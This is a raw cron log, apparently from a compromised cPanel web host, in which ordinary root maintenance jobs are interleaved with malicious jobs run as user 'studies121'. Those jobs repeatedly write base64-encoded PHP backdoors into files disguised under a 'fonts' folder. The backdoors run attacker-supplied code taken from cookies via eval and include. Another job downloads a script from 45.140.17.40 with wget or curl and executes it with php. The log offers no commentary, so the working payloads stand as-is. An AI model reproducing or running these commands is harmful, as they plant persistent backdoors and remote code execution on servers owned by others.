Sep  8 09:14:01 ip-184-168-122-23 CROND[20057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:14:01 ip-184-168-122-23 CROND[20055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:14:01 ip-184-168-122-23 CROND[20058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:14:01 ip-184-168-122-23 CROND[20056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:15:01 ip-184-168-122-23 CROND[20205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:15:01 ip-184-168-122-23 CROND[20206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:15:01 ip-184-168-122-23 CROND[20208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:15:01 ip-184-168-122-23 CROND[20209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:15:01 ip-184-168-122-23 CROND[20211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:15:01 ip-184-168-122-23 CROND[20212]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:16:01 ip-184-168-122-23 CROND[20341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:16:01 ip-184-168-122-23 CROND[20343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:16:01 ip-184-168-122-23 CROND[20342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:16:01 ip-184-168-122-23 CROND[20345]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 09:16:01 ip-184-168-122-23 CROND[20346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:16:01 ip-184-168-122-23 CROND[20347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:17:01 ip-184-168-122-23 CROND[20618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:17:01 ip-184-168-122-23 CROND[20619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:17:01 ip-184-168-122-23 CROND[20622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:17:01 ip-184-168-122-23 CROND[20623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:18:01 ip-184-168-122-23 CROND[21080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:18:01 ip-184-168-122-23 CROND[21083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:18:01 ip-184-168-122-23 CROND[21084]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:18:01 ip-184-168-122-23 CROND[21085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:18:01 ip-184-168-122-23 CROND[21082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:19:01 ip-184-168-122-23 CROND[21276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:19:01 ip-184-168-122-23 CROND[21278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:19:01 ip-184-168-122-23 CROND[21281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:19:01 ip-184-168-122-23 CROND[21279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:20:01 ip-184-168-122-23 CROND[21545]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:20:01 ip-184-168-122-23 CROND[21549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:20:01 ip-184-168-122-23 CROND[21551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:20:01 ip-184-168-122-23 CROND[21553]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:20:01 ip-184-168-122-23 CROND[21554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:20:01 ip-184-168-122-23 CROND[21559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:20:01 ip-184-168-122-23 CROND[21558]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:20:01 ip-184-168-122-23 CROND[21555]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 09:20:01 ip-184-168-122-23 CROND[21561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:21:01 ip-184-168-122-23 CROND[21895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:21:01 ip-184-168-122-23 CROND[21897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:21:01 ip-184-168-122-23 CROND[21898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:21:01 ip-184-168-122-23 CROND[21896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:22:01 ip-184-168-122-23 CROND[22100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:22:01 ip-184-168-122-23 CROND[22102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:22:01 ip-184-168-122-23 CROND[22103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:22:01 ip-184-168-122-23 CROND[22104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:22:01 ip-184-168-122-23 CROND[22105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:23:01 ip-184-168-122-23 CROND[22354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:23:01 ip-184-168-122-23 CROND[22356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:23:01 ip-184-168-122-23 CROND[22358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:23:01 ip-184-168-122-23 CROND[22359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:24:01 ip-184-168-122-23 CROND[22509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:24:01 ip-184-168-122-23 CROND[22512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:24:01 ip-184-168-122-23 CROND[22511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:24:01 ip-184-168-122-23 CROND[22513]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:24:01 ip-184-168-122-23 CROND[22514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:25:01 ip-184-168-122-23 CROND[22730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:25:01 ip-184-168-122-23 CROND[22732]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:25:01 ip-184-168-122-23 CROND[22734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:25:01 ip-184-168-122-23 CROND[22733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:25:01 ip-184-168-122-23 CROND[22735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:25:01 ip-184-168-122-23 CROND[22736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
